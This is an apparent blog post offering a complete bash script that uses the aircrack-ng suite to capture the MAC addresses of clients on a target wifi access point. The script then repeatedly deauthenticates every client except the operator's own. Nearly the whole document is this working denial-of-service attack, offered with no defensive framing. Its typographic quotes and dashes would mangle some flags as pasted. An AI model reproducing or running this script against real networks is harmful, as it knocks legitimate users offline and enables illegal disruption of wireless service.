This bash script is to deauth all clients on wifi, The script is using Aircrack-ng suite to deauth clients, feel free to modify and use this script as it is.

#!/bin/bash

#Author: Amin
#Purpose: To collect mac addresses of clients connected to an access point and deauth unwanted clients on the access point.
#Requirements: aircrack-ng suite

###Declaring all the variables used####
infofile=infodump
macsfile=macs
wlan_interface=wlan1
monitor_interface=mon0
target_station=”bssid of the target station”
ch=”Channel Here”
user=`whoami`
mymac=”Your mac here”
num_clients=0
count=0
current_interface_num=0
###END of Variables Declaration###

if  [ $user != “root” ]
then
echo ‘Please Run as root’
exit 0
else
if [ -e $infofile  ]
then
rm ./”$infofile”*
fi

echo “>>> Setting up a Monitor mode Interface: $monitor_interface”

xterm -e airmon-ng start $wlan_interface &

sleep 4

ifconfig $wlan_interface down
iwconfig $wlan_interface channel $ch
iwconfig $monitor_interface channel $ch

echo “>>> Starting to dump traffic on the channel $ch”

xterm -e airodump-ng $monitor_interface –bssid $target_station –channel $ch -w $infofile &

echo “>>> Waiting for the Victims to connect…”

sleep 120

killall airodump-ng

airmon-ng stop $monitor_interface >> /dev/null

echo “>>> Collecting Victim(s)’ Mac Addresses ”

cat “$infofile”-01.kismet.netxml | grep client-mac | cut -d ‘<‘ -f2 | cut -d ‘>’ -f2 > $macsfile
cat $macsfile | sort -u > temp
rm $macsfile; mv temp $macsfile
num_clients=`cat $macsfile | wc -l`

echo “>>> Starting multiple Monitor mode interfaces”

sleep 8

while [ “$count” -lt “$num_clients” ]
do
airmon-ng start $wlan_interface >> /dev/null
count=`expr $count + 1`
done

for mac in `cat $macsfile`
do
if [ “$mac” != “$mymac” ]
then
xterm -e “while true; do aireplay-ng –deauth 1 -a $target_station -c $mac mon$current_interface_num; sleep 30; done” &
current_interface_num=`expr $current_interface_num + 1`
fi
done

echo
echo
echo -n “Enter ‘quit’ to stop the deauth: “; read user_input

while true
do
if [ $user_input =  “quit” ] || [ $user_input = “QUIT” ] || [ $user_input = “Quit” ]
then
killall xterm
airmon-ng > temp
cat temp | awk ‘{print $1}’ | grep -v Interface | grep -v “^$” > temp2
rm temp; mv temp2 temp
num=`cat temp | wc -l`
count=0

while [ $count -lt $num ]
do
airmon-ng stop mon”$count” >> /dev/null
count=`expr $count + 1`
done

rm ./temp
rm ./”$infofile”*

break
fi
done

fi

#END